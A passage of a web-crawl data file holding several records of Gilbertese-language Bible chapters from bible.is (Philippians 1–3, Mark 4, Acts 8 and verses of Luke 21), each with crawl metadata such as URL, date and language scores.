Kristo Iesu, ake a mena i Biribi; ao nakoia naba ake mataniwi ma taani buobuoki: 2Ami b'ai te akoaki ma te raoi mairoun te Atua are Tamara ma te UEA are Iesu Kristo. 3I katituaraoa Atuau n taai ni kabane aikai I uringngkami iai, 4ao n taai ni kabane ake I tataro iai i bukimi ni kabane, ao I tataro ma te kim'areirei, 5i bukin aromi ni buokanib'ai n te m'akuri i bukin te euangkerio man te bong are kam moa n ongo iai ni karokoa ngkai; 6ao I koaua raoi n aei, b'a Teuare moana te m'akuri ae e raoiroi i nanomi, E na boni wakina karaoana ni karokoa ae e tia n ana bong Kristo Iesu. 7E bon riai reken te namakin aei i rou i bukimi ni kabaneingkami, b'a kioina ngkai kam memena i nanou. B'a kam a tia ni bane ni buokanib'ai ma ngai n te m'akuri are I anganaki iroun te Atua, n arou ngkai I kabaeaki ao ngke I kakaitarai taeka aika eekaanako te euangkerio, ma ni karina te euangkerio i nanoia aomata b'a e na tiku ni matoatoa. 8B'a au tia kakoaua te Atua, b'a I tangiringkami ni kabaneingkami n ai aron tangirami irouni Kristo Iesu. 9Ao bon aei au tataro b'a e na ririki rake ni kabatiaki ami tangira, n te aro n rabakau ma n atatai. 10B'a kam aonga ni kona n rinei baika moa n raraoi, ao kam na itiaki ma n aki kabuakakaki n te bong are E na roko iai Iesu, 11ngkai a kaonaki maiumi ni baika reitaki ma ana kaantaninga te Atua, aika baika mairoun Iesu Kristo, are E neboaki te Atua iai ma ni karaoiroaki. 12Taari, I tangiringkami b'a kam na atai b'aai aika riki i rou, b'a a riki b'a buokani wakin te euangkerio. 13Ma ngaia ae e ataaki bukini kabaeakiu irouia tautia ni kabane n te Beritoriam, ma aomata nako, b'a I kabureaki i bukini Kristo. 14Ao e riki kabaeakiu b'a kakorakoraan aia kaantaninga m'aitiia taari n aroia n reitaki ma te UEA, ao a rikirake n rangi n ninikoria n taekina ana taeka te Atua. 15Bon iai tem'angina aika tataekina Kristo i bukin nanoia n nanonibwi ma ni kani kakauntaeka; ma iai naba tabem'aang aika tataekinna ma nanoia ae e raoiroi; 16a karaoa aei te koraki aikai ma te nano n tangira, ngkai a ataai b'a I a tia n rineaki b'a N na tei i bukin te euangkerio; 17ao te koraki ake a kani kauntaeka a tataekina Kristo ma te nano ae aki itiaki; ao a iangoia b'a a na kariki riki kangaanga nako iu ngkai I kabaeaki. 18Ao tera ngkanne? Te b'ai ae kakawaki b'a E taekinaki Kristo n aaro nako, tao man te kaantaninga ae aki raoiroi ke ae e raoiroi; ao I kim'areirei iai, eng, N na boni kim'areirei. 19B'a I ataia b'a man ami tataro ao n ana buobuoki Tamnein Iesu Kristo, ao e na riki aei nako iu ae N na boni kainaomataaki, 20n ai aron nanou ae korakora ma au kaantaninga b'a N na aki mamaa n te b'ai teuana, ma N na rangi n ninikoria n taetae n ai aron aroarou n taai nako ao ngkai naba, ni kaota neboakini Kristo n rab'atau, tao ni maiu ke ni mateu. 21B'a maiu bon i bukini Kristo, ao mateu boni kakab'aiau. 22Ma ngkana e na anganai au tai ni karaoi m'akuri riki aika manena maiu n te rab'ata, ao I aki ata ngkanne ae N na rineia. 23Ma e katikaki nanou ni baika uoua, b'a I kan nako ni mena irouni Kristo; b'a moan te raoiroi aei. 24Ma e manena riki iroumi tiku ni maiu. 25I aki nanokokoraki n aei, ao I ataia b'a N na bon tiku ni maiu, ao N na reitaki ma ngkami ni kabane b'a a aonga n rikirake ami onimaki ma ami kim'areirei iai. 26Ao b'a e aonga ni kabatiaki kakatongami i rou, ngkai kam katiteuanaki ma Kristo Iesu ni maiumi, ni manga rokou iroumi. 27Kam na ti kakaraoa ae boraoi ma nanon ana euangkerio Kristo; b'a ngkana I roko n noringkami, ke ngkana tao I mena n te tabo teuana, ao I kan ongo rongorongomi, b'a kam teimatoa n aromi ni maiu b'a kanga te tamnei ae ti teuana, ni kakorakoraingkami b'a kanga te aomata ae ti temanna, i bukin te onimaki are reke man te euangkerio; 28ao kam na tai maku n te b'ai teuana irouia ake a ekingkami nako. Aromi aei bon te b'ai ni kakoaua nakoia b'a a na boni konaaki, ao nakoimi b'a kam na bon tokanikai, b'a te baei boni mairoun te Atua. 29B'a kam anganaki i bukini Kristo tiaki ti te onimakinna, ma te b'ainikirinaki naba i bukina. 30Kam a rin ngkai n te buaka ae ti te bo ma are kam a tia n norai iai ngkoa, ao n aron ae kam ongo iai ngkai b'a ae I mena naba i nanona.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/1","date":"2016-05-24T14:03:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049270798.25\/warc\/CC-MAIN-20160524002110-00068-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":838,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:2323A kawa ake a bikoukou, ao ake a kamammaia natiia ni boong akekei! B'a ane e na bati te kananoanga i aon te aba, ao te un i aoia kaain te aba aei; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/23","date":"2016-05-28T16:24:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049278042.30\/warc\/CC-MAIN-20160524002118-00091-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9992784858,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9992784857749939}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te kabane ngkanne, tariu, kam na kim'areirei ngkai kam katiteuanaki ma te UEA. Tiaki te bae kakua i rou te kaoki taekani baike I a tia ni koroi, ma e bongana i bukimi. 2Kam na kawakiningkami mairouia te koraki aika karaoi baika bubuaka, aika te koraki aika ai aroia kamea, aika tangira te rab'ata b'a e na kaikoakaki ni korokoreaki. 3B'a boni ngaira ma ngkami kaain te korotabonim'aneaki ni koaua, aika ti taromauria te Atua iroun Tamneina, ma ni kamoamoa irouni Kristo Iesu, ao ti aki onimakina te rab'ata, 4e boni ngae ngke boni ngai naba ae I onimakina te rab'ata. Ngkana e taku temanna b'a te tia onimakina te rab'ata ngaia, ao I a moamoa riki ngai: 5I korotabonim'aneaki n te kawani bong, ao te Iteraera ngai n rikiu, ao kaain te baronga are Beniamin, ao te Ebera mairouia Ebera; ao n reitaki ma te Tua, bon te B'aritaio ngai; 6n reitaki ma nanou n tauaninne ngkoa i bukin te Atua, ao I b'ainikirina te ekaretia; ao n reitaki ma karaoan nanon te Atua are taekinaki n te Tua, ao I iri nanoia ni kabane. 7Ma b'aai ake I taku b'a a kakawaki, ao I a atong ngkai b'a akea bonganaia i bukini Kristo. 8Tiaki ti baikai aika I taku b'a akea bonganaia, ma I atongi b'aai ni kabane b'a akea bonganaia i bukin te b'ai ae moanibaan te bongana riki, are ataakini Kristo Iesu are ara UEA, are I kabua au b'ai ni kabane i bukina, ao I atongi b'a maange, b'a E aonga n reke i rou bonganan arou ngkai ana aomata Kristo ngai, 9ao I aonga n noraki n arou n reitaki ma Ngaia, b'a e aki reke kaetan arou n reitaki ma te Atua n te Tua, ma e reke n onimakinani Kristo; kaetan arou aei boni mairoun te Atua, ao e reke i bukin te onimaki. 10B'a N na ata Iesu ma te m'aaka are E a manga kamaiuaki iai, ma ni maraki n ai arona ni maraki, ao n riki n ai arona ni matena, 11ma te kaantaninga b'a N na boni kamaiuaki man te mate nakon te maiu. 12I aki taku b'a e a tia n reke i rou are I uaiakinna, ao I aki taku b'a I a kororaoi n te raoiroi. Ma I kakorakorai ni biri b'a I aonga n taua te kaniwanga, b'a ngaia aei bukin are E karikai iai Kristo Iesu b'a ana b'ai. 13Taari, I aki taku b'a I a tia n taua; ma te b'ai teuana ae I karaoia, I m'anuokini baika i mwiu, ao I kabanea korakorau b'a N na katiai baika N na karaoi nakon taai aika na roko. 14Ma ngaia are I kabirim'akai nakon te tia b'a n na karekea te kaniwanga, are bon ana weewete te Atua i nanon Iesu nakon te maiu are i karawa. 15Ma ngaia aei, b'a ngaira ni kabane aika ti a ikawai i nanon te maiu n onimaki, ti na b'aina te nano ae ti te arona; ao ngkana iai i buakomi aika b'aina te nano ae kaokoro, ao E na kaota naba aei te Atua nakoimi. 16Ma ae ti a roko iai, ao ti na nakonako iai n te kawai naba anne. 17Taari, kam na kakairi i rou, ao kam na kam'atau taraaia te koraki ake a karaoa are ti karaoia i bukimi b'a te banna ni kakairi. 18B'a a bati aomata, ake I aki toki n taekiniia ngkoa nakoimi ao I a manga taekiniia naba ngkai ma rannimatau aika waanako: b'a kairiribai ngaiia ni maiuia nakon ana kaibangaki Kristo. 19Bon te mate tokiia, ao a atuani birotoia; a kamoamoaia ni baika a riai ni mamaa iai, ao ti te iangoi b'ain aon te aba. 20B'a I-Karawa ngaira, aika ti kakariaria te Tia Kamaiu, are te UEA are Iesu Kristo b'a E na roko mai karawa; 21are E na oniki rab'atara aika mangori, b'a a na riki n ai aron rab'atana ae mimitong, ni kabonganaan te m'aaka are E kona iai n tauu taekani b'aai ni kabane.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/3","date":"2016-05-31T14:38:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051342447.93\/warc\/CC-MAIN-20160524005542-00070-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":672,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 21:99Ao ngkana kam ongo taekan taiani buaka ma kiriwe, ao tai maaku; b'a a riai n riki moa baikai, ma tiaki nanona b'a a kaotia n ae nangi roko ni waekoa te toki.\" Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21\/9","date":"2016-05-27T08:32:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049276564.72\/warc\/CC-MAIN-20160524002116-00062-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":0.9999420643,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999420642852783}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai e reke karauan te nano irouni Kristo, ngkai iai kaungaan te nano n te tangira, ngkai iai te i-raorao ma te Tamnei, ngkai iai te ataataiaomata ma te nanoanga, 2ao kam na kaona au kim'areirei, b'a kam na i buoka n iango, kam na b'aina te tangira ae ti te arona, kam na katiteuanaki n ami iango b'a kanga ai aron temanna n aomata ngkami: 3ao akea te bae kam na karaoia ma te kauntaeka ke te kainikatonga, ma kam na b'aina te nanorinano, temanna nakon temanna, n aromi n iangoia b'a a raoiroi riki nakoimi. 4Ao kam na tai ti mutiakin ami b'ai, ma kam na mutiakin naba aia b'ai raomi. 5Kam na b'aina te nano aei, ae mena naba i nanoni Kristo Iesu: 6B'a arona aron te Atua, Ma akea i nanona te kan riki ni boraoi ma te Atua. 7Ma E kukurei ni kaaki b'aai ni kabane aika i rouna, ao E arona aron te toro. E riki n ai aron te aomata 8E kananorinanoa i bon i rouna, ao E ongeaba ni karokoa te mate, are te mate n te kaibangaki. 9Ma ngaia are, E karaoia te Atua b'a E na rangi ni karineaki, ao E anganna te ara ae kakannato riki nakon aara ni kabane; 10b'a a aonga ni bane te koraki ake a mena i karawa, ma ake i aon te aba, ma ake i aan te aba, ni katorobubua ni karinea aran Iesu; 11ao b'a a na bane neewe n taku b'a te UEA Iesu Kristo, b'a E aonga n neboaki te Atua ae te Tama iai. 12Ma ngaia aei, ngkami aika kam tangiraki i rou, kam aki toki n ongeaba, tiaki ti ngke I mena iroumi, ma ai moa ra riki ngkai I a raroa nako mai roumi. Kam na kekeiaki m'aaka, n ruru ni maku, b'a e aonga n reke raoi kamaiuami! 13B'a bon te Atua ae m'am'akuri i nanomi b'a kam aonga ni kukurei ni karaoa ana kaantaninga n akoi. 14Kam na karaoi b'aai ni kabane n aki ngurengure ma n aki kabo-taeka; 15b'a kam aonga n aki bukintaeka ngkana iai te kairua ae riki, ao b'a kam aonga n itiaki man te aro ae buakaka, ngkai natin te Atua ngkami aika akea te kairua iroumi i buakon te roro ae b'aoua ae buakaka; aika kam oota i buakoia b'a kanga itoi i aon te aba, 16n aromi n taua ni kamatoa taekan te maiu. Ma ngaia ae ngkana e roko ana bong te UEA, ao N na boni kim'areirei iroumi, ngkai e aki matebuaka au kekeiaki ma au m'akuri. 17Ami onimaki ma ami m'akuri aika kam karaoi b'a kanga ibonga ai aron te karea nakon te Atua; ao tao N na kamateaki, ao n te aro aei N na riki b'a ai aron te karea are te raraa are kab'aroaki i aon te karea. Ngkana arona b'a e riki aei, ao N na boni kim'areirei, ao N na kim'areirei ma ngkami; 18ao ai aromi naba, b'a kam na kim'areirei, ao kam na kim'areirei ma ngai. 19Ngkana nanon te UEA, ao iai au kaantaninga b'a N nang kanakoa Timoteo nakoimi, b'a e aonga ni kauungaki naba nanou n ataakin taekami. 20B'a akea raou temanna ae ai aron Timoteo, ae na tabeakin raoi aromi. 21B'a a bon tabeakin oin aroia aomata nako, ao a aki tabe ma baika kaeti ma nanoni Iesu Kristo. 22Ma kam bon ata aroni manenan Timoteo. E a tia ni m'akuri ma ngai, n ai aron te nati are m'akuri ma tamana, b'a te toro i bukin te euangkerio. 23Ma ngaia ae bon au kaantaninga b'a N na kanakoa nakoimi ngkana I waekoa n noori aroni b'aai i buku b'a a kanga. 24Ao I bon aki nanokokoraki, b'a ngkana nanon to UEA, ao ngai naba N na nakoimi n aki waeremwe. 25Ma I taku b'a e bon riai b'a N na kanakoa nakoimi Eb'aberorito, ae tariu ao raou ni m'akuri ma ni buaka, ae ami aomata are kam kanakoa i bukini buokani kain nanou. 26E rangi ni kan noringkami ni kabane, ao e aki rau nanona ngke kam ongo b'a e aoraki. 27B'a e bon aoraki, ao e kuri ni mate; ma E nanoangaia te Atua, ao tiaki ti ngaia, ma E nanoangaai naba b'a e kaawa n reke i rou te nanokawaki ae moan te bati. 28Ma ngaia ae I barekia ni kanakoa nakoimi, b'a kam aonga ni manga kakatonga ngkana kam noria, ao b'a e aonga ni karako riki nanokawakiu. 29Ma ngaia ae kam na m'aneia i nanon te UEA ma te kim'areirei ni kabanea; ao kam na karineia aomata aika aron teuaei: 30b'a e kaania matena i bukin ana m'akuri Kristo n aki mutiakina maiuna, b'a e aonga n anganai buokau n aron are aki kona n reke mai roumi.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2","date":"2016-05-30T14:58:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051035374.76\/warc\/CC-MAIN-20160524005035-00069-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":801,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E a manga moana ana reirei Iesu i rarikin te nama are Kariraia. A rangi ni m'aiti aomata ake a botaki nako Ina, ma ngaia are E toka i aon te boti ao E tekateka i nanona. E mena te boti n te nama, ao aomata a tei i rarikin te nama n ua kaan ma te ran. 2Ao E reireiia baika bati n taeka ni kabotau, ao E taku: 3\"Kam na ongora! Iai te tia ununiki ae nako ni kamaae koraa n uniki; 4ao ngke e kamaae, ao a b'aka tabeua ri rarikin te kawai, ao a roko mannikiba ni kang. 5Ao tabeua a b'aka i aon te tabo ae ririb'a ike e aki bati te tano iai; ao a kai riki b'a e manni te tano; 6Ao ngke e kabo rake taai, ao e a kaurarakei aroka aikai. A mate i bukina ngke a aki nene wakaaia b'a e manii te tano. 7Iai tabeua koraa ake a b'aka i buakoni kaai aika kateketeke. A riki rake kaai ake a kateketeke, ao a karib'ai aroka ake a unikaki ao a aki kariki uaa. 8Ao iai tabeua koraa ake a b'aka i aon te tano ae raoiroi. A riki ao a rikirake, ao a kariki uaa: tabekai kaka tenibwi, ao tabekai kaka onobwi, ao tabekai kaka tebubua.\" 9Ao e taku Iesu, \"Ane iai taningana n ongo ao ke e ongo!\" 10Ao ngke E mena Iesu n ti Ngaia, ao a kawaria aomata tem'angina ake a tia n ongo i Rouna, ao a kawaria naba ana reirei ake tengauni ma uoman, ao a tuangnga b'a E na kab'arab'arai nanon taian taeka ni kabotau. 11E taku Iesu nako ia, \"Kam a tia n anganaki te baere raba, are b'ain uean te Atua; ma i bukiia ake i tinaniku, a taekinaki b'aai nako ia n taeka ni kabotau; 12b'a a aonga n taratara ma n taratara, ma a na aki noraba; b'a a na ongora ma n ongora, ma a na aki atatai: b'a ngkana a noraba ao a atatai, ao ane a na rairi nanoia ao a na kab'araki aia bure.\" 13Ao E taku Iesu nako ia, \"Kam aki ata nanon te rongorongo ni kabotau aei? Ao kam na kanga ngkanne ni kona n atai nanon taeka ni kabotau nako? 14Te tia ununiki, e kamaaea n unika ana taeka te Atua. 15Aomata tem'angina, a kabotauaki b'a kaanga koraa ake a b'aka ri rarikin te kawai: n te tai naba are a ongo iai ana taeka te Atua, ao e roko Tatan ao e anaia mai rouia. 16Iai tem'angina ake a kabotauaki b'a kaanga koraa ake a b'aka i aon te tabo ae ririb'a: n te tai naba are a ongo iai ana taeka te Atua, ao a butim'aia ma te kukurei. 17Ma te taeka aei, e aki tiku ni maan i nanoia, b'a e aki matoatoa i nanoia. Ma ngaia are ngkana e roko te kanganga ke te b'ainikirinaki i bukin ana taeka te Atua, ao a b'aka naba. 18Ao tem'angina, a kabotauaki b'a kaanga koraa ake a unikaki i buakoni kaai ake a kateketeke. Aikai te koraki ake a ongo te taeka, 19ma iango n raraoma nako i bukin te maiu aei, ao tangiran taiani kaub'ai ma b'aai nako aika kamataaia te aba, a karib'ab'aa te taeka, ao e aki kariki uaa. 20Ma tem'angina, a kabotauaki b'a kaanga koraa ake a unikaki n te tano are raoiroi. A ongo te taeka, ao a kaki i nanoia, ao a kariki uaa: tabem'aang kaka tenibwi, ao tabem'aang kaka onobwi, ao tabem'aang tatabe bubua.\" 21Ao E taku Iesu nako ia, \"E uotaki mai te taura b'a e na kakiaki i aan te b'aketi ke i aan te kai ni wene? Tiaki b'a e na katokaki i aoni nena? 22B'a te b'ai ae karabaaki ane e na kaotaki, ao ane e rabunaki e na kanakoaki rabunana. 23Ane iai taningana n ongo, ao ke e ongo!\" 24Ao E a manga taku nako ia, \"Kam na karaua n iangoa ae kam ongo! B'aai ni baire ake kam kabonganai b'a b'aini motikan taekaia tem'angina i roumi, a na manga kabonganaki iroun te Atua b'a b'aini motikan taekami i Rouna-ma a na kakorakoraki riki nako imi. 25B'a ane iai ana b'ai, ao e na anganaki ni kabatiaaki; ao ane akea ana b'ai, ao e na anaaki mai rouna are iai i rouna, e aoria ngkana ti teutana.\" 26Ao E taku Iesu: Uean te Atua kaanga ai aron te aomata ae kamaae n uniki koraa n te tano. 27E matu n te bong, ao e uti n te ngaina; ao i nanoni kakaraoan aei i rouna, ao e kaoti taberan te aroka, ao e riki rake. Ma e aki ataia b'a e kanga n riki aei. 28Te tano, boni ngaia ae e karikirakea te aroka ao e kauaaea naba: e kaoti moa te raibwebwe, ao rimwi te ari, ao rimwi te uaa n te ari. 29Ngke e tawaa te uaa, ao te aomata arei e koreia n ana biti, b'a e a roko tain te tai. 30E taku Iesu, \"Tera ae ti na taekinna b'a katotongan uean te Atua? Tera te taeka ni kabotau ae ti na kabongana b'a e na kamatata nanona? 31Ai aron uaan te m'akeke, ae te uaa ae moan te uarereke i buakon uaa nako aika unikaki; 32ma ngkana e unikaki, ao e rikirake b'a te kai ae ab'ab'aki riki nakoia aroka ni kabane ake ana karinan; ao e kariki m'aangana aika ab'ab'aki, ma ngaia are a roko mannikiba ni karaoi ngaoia iai i aan nuuna.\" 33Ao E taekin ana koaua Iesu nakoia aomata n taeka ni kabotau aika bati, aika ai aron aikai; ao E reireia n ai aroni m'aitin are a kona n oota iai. 34E aki kona n taetae nako ia n aki kabonganai taeka ni kabotau; ma ngkana ti Ngaia ma ana reirei, ao E kamatatai nanoni b'aai ni kabane nako ia. 35N te bong naba arei, ngke e a tairiki, ao E taku Iesu nakoia ana reirei, \"Ti na nako n iteran te nama are teuana.\" 36A kitaniia aomata aika m'aiti; ao a toka ana reirei i aon te boti are E a kamani mena iai Iesu, ao a kairiia b'a raoia. Iai booti tabewa i rarikina. 37Ao e karina ni kare te ang ae korakora; ao naao a b'aroa nanon te boti n te aro are e a kani kebo n te ran. 38E mena Iesu i bukin te boti b'a E matu, ao atuna i aon te uninga. A kautia ana reirei, ao a taku, \"Te Tia Reirei, Ko aki tabe i roura ngkai ti a kani mate?\" 39E teirake Iesu mani matuuna, ao E takua te ang ma te nama, ni kangai, \"Tai karongoa! Kainab'aabu!\" E b'aka te ang, ao iai te raoi. 40Ao E taku nakoia ana reirei, \"E aera ngkai kam maaku? Akea ami onimaki?\" 41A rangi ni maaku, ao a i taetae i rouia ni kangai, \"Antai Teuaei? B'a e ongo i Rouna te ang ma naao!\"\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/4","date":"2016-05-31T12:05:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464051299749.12\/warc\/CC-MAIN-20160524005459-00094-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":1164,"character_repetition_ratio":0.059,"word_repetition_ratio":0.009,"special_characters_ratio":0.266,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e kakoauaa Tauro b'a e bon riai kamatean Tetebano. E korakora b'ainikirinaia kaain te ekaretia i Ierutarem; ao a bane ni kauamaaeaki nako kaaina nako aon te aba are Iutaia ma Taamaria, ma a aki kauamaaeaki taan tuatua. 2Iai aomata aika onimakina te Atua, aika uota nako rab'atan Tetebano n taunna, ao a karaoa te tanginiwenei ae bati i aona. 3Ma Tauro e kataia n urua te ekaretia: e rin i nanon auti nako ni katikiia nako kaain te ekaretia aika mm'aane ma aine, ao e kaakiia i nanon te karabuuti. 4A nako n taabo nako taan onimaki ake a kauamaaeaki nako n tataekina ana taeka te Atua. 5Ma e nako Biribo nakon te kaawa are Taamaria, ao e taekina te Kristo nakoia aomata iai. 6A bane nanoia aomata nakoni baike e taekini Biribo, ngke a ongora i rouna, ao a noori kanikina ake e karaoi. 7B'a a oti nako anti aika kam'araa mairouia aomata aika bati ake a taniaki i rouia, ao a takarua irouia aomata aikai n te b'anaa ae korakora; ao a kamaiuaki aomata aika bati, aika a mate b'ain rab'ataia, ma aika m'auku. 8Ma ngaia ae e bati te kim'areirei irouia kaain te kaawa arei. 9E maeka n te kaawa arei te aomata temanna, ae arana Timon. E a maan teuaei ni b'aina te tabunea, ao e aki toki ni kamimiia I-Taamaria n ana tabunea. E taku b'a te aomata ngaia ae kakannato, 10ao a bane n ongo i rouna aomata nako, ake a mangori ma ake a kakannato. A taku, \"Boni m'aakan te Atua teuaei are aranaki b'a te 'M'aaka ae Korakora.' \" 11Ao a ongo i rouna i bukina b'a e a boni maan arona ni kakamimiia n ana tabunea. 12Ma ngke a kakoauaa Biribo n ana rongorongo aika raraoi ake e taekin i bukin Uean te Atua ma aran Iesu Kristo, ao a b'abetitoaki, mm'aane ma aine. 13Ao Timon e kakoauaa naba Biribo; ao ngke e a tia ni b'abetitoaki, ao e a titiku naba i rarikini Biribo, ao boni moan te mimi ngaia ngke e noori kanikina ma m'akuri ni kamimii ake a karaoaki. 14Ngke a ongo taan tuatua ake a mena i Ierutarem b'a a onimakina ana taeka te Atua I-Taamaria, ao a kanakoa Betero ma Ioane nakoia; 15Ngke a roko uakekei i rouia, ao a tataro i bukiia b'a a na anganaki te Tamnei are Raoiroi. 16B'a akea i rouia ae e a tia n roko i rouna te Tamnei are Raoiroi; ma a ti b'abetitoaki naba n aran te UEA are Iesu. 17A katokai baiia ngkanne Betero ma Ioane i aoia, ao a anganaki te Tamnei are Raoiroi. 18Ngke e noria Timon b'a a anganaki te koraki arei te Tamnei are Raoiroi ngke a katokai baiia taan tuatua i aoia, ao e angani Betero ma Ioane te m'ane, ao e kaangai, 19\"Anganai naba te m'aaka anne! b'a e aonga n anganaki ane I katoka baiu i aona te Tamnei are Raoiroi.\" 20Ma e taku Betero nakoina, \"E na mauna ma n akea bonganan am m'ane, ao ai arom naba, ngkai ko taku n am iango b'a e konaaki ni karekeaki ana b'ai n tituaraoi te Atua n te m'ane! 21Akea nakoam ao akea tib'angam n te baei, b'a e aki eti nanom i matan te Atua. 22Ma ngaia ae ko na raira nanom n raraoma i bukin am iango ane reke i roum anne, ao butiia te Atua b'a tao E na kab'ara buren am iango anne, ngkana arona. 23B'a I ataiko b'a te aomata ngkoe ae ko on n te bakantang, ao ko mena i aani m'aakan te buakaka.\" 24Ao e kaeka Timon ni kaangai, \"Tataro nakon te UEA i buku, b'a e na aki riki nako iu te b'ai teuana ni baikana kam atong.\" 25Ma ngaia aei, ngke a tia ni kaotioti uakekei, ma n taekina ana taeka te UEA, ao a okira Ierutarem; a tataekina te euangkerio ni kawan Taamaria aika bati i aoni kawaia n oki. 26E taetae ana anera te UEA nakoni Biribo, ao e kaangai, \"Katauraoiko b'a ko na nako aiaki, nakon te kawai are wairio mai Ierutarem nako Kaata.\" Aei te kawai n te rereua. 27Ao ngaia e katauraoia, ao e nako. Ao noria, te aomata temanna, ae te I-Itiobia, ae te iunaki, ae rietaata nakoana irouni Kantake, are te uea n aine i Itiobia, ae te tia kawakini mwin ana b'ai nako neierei aika kakawaki, e a tia n roko i Ierutarem b'a e taromauri iai, 28ao e a tabe ni waaki i aoni kawaina n oki; e tekateka i aon ana ka, ni wareka ana boki te burabeti are Itaia. 29Ao E taku te Tamnei are Raoiroi nakoni Biribo, \"Ko na nako n airi ma te ka arei.\" 30Ao e biri Biribo ni kaea mwin te ka arei, ao ngke e roko i rarikina, ao e ongo b'anaan te iunaki arei ngke e wareka ana boki te burabeti are Itaia. Ao e taku Biribo nakoina, \"Ko ata nanon ane ko warekia?\" 31Ao ngaia e taku, \"N na kanga n ataia ngkana akea ae kab'arab'ara nanona nako iu?\" Ao e butiia Biribo b'a e na tam'arake n tekateka i rarikina. 32Ao aio taekani m'akoron te B'aib'ara are e wareware iai: \"Ai aron te tiibuteteei are e kairaki b'a e na kamateaki; Ai aron te tiibuteteei are kainab'aabu i matan ane korea buraena; akea b'anaana ae oti nako mai wina. 33Ngke e karinanoaki, ao e aki reke nakoina te motiki-taeka ae e raoiroi. ao bon akea ae na kaoti taekaia ana kariki, B'a e a tia n toki maiuna i aon te aba.\" 34E titiraki ngkanne te iunaki nakoni Biribo ao e kaangai, \"I butiko b'a e taekina aei te burabeti i bukin antai? I bukina, ke i bukin temanna?\" 35Ao e wakina ana karaki Biribo n taekina Iesu, ao e moanna mani kab'arab'araan nanon taeka n te m'akoro ni B'aib'ara anne. 36Ao ngke a wakina kawaia, ao a roko n te tabo ae iai te ran iai; ao e taku te iunaki, \"Noria, kai aei te ran; tera ae tukai b'a N na aki b'abetitoaki?\" 37E taku Biribo nakon te iunaki, Ko na b'abetitoaki ngkana ko onimaki ma nanom ni koaua. Ao ngaia e taku, I kakoaua b'a Iesu Kristo bon Natin te Atua. 38E tua ngkanne te iunaki b'a e na tei te ka; ao e ruo ma Biribo nako nanon te ran, ao e b'abetitoaki irouni Biribo. 39Ngke a aerake man te ran, ao E kairaki nako Biribo iroun Tamnein te UEA, ao e aki manga noria te iunaki, b'a e wakina kawaina ma te kim'areirei. 40E roko Biribo i Atoto; ao e tataekina te euangkerio ni kaawa ni kabane, ao e toki i Kaitareia.\nCopyright","id":"","dump":"CC-MAIN-2016-22","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/8","date":"2016-05-25T09:24:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-22\/segments\/1464049274324.89\/warc\/CC-MAIN-20160524002114-00041-ip-10-185-217-139.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 